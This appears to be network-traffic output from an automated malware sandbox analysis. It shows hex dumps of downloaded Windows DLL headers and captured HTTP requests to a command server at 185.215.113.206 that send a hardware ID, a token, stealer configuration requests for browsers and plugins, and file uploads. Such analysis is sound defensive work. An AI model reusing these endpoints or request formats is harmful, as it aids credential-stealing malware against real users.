00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 05:59:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 05:59:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 05:59:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 05:59:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 41 43 32 31 32 31 46 41 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="hwid"8FAC2121FA1A2447771074------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="build"tale------FCGIJDBAFCBAAKECGDGC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="message"browsers------EHDHDHIECGCAEBFIIDHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFHDBFIDAECAAAKEGDAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 2d 2d 0d 0a Data Ascii: ------AKFHDBFIDAECAAAKEGDAContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------AKFHDBFIDAECAAAKEGDAContent-Disposition: form-data; name="message"plugins------AKFHDBFIDAECAAAKEGDA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="message"fplugins------GDHCGDGIEBKJKFHJJKFC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEHHost: 185.215.113.206Content-Length: 6967Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKEHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file"------EHCBAAAFHJDHJJKEBGHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJKHost: 185.215.113.206Content-Length: 7839Connection: Keep-AliveCache-Control: no-cache
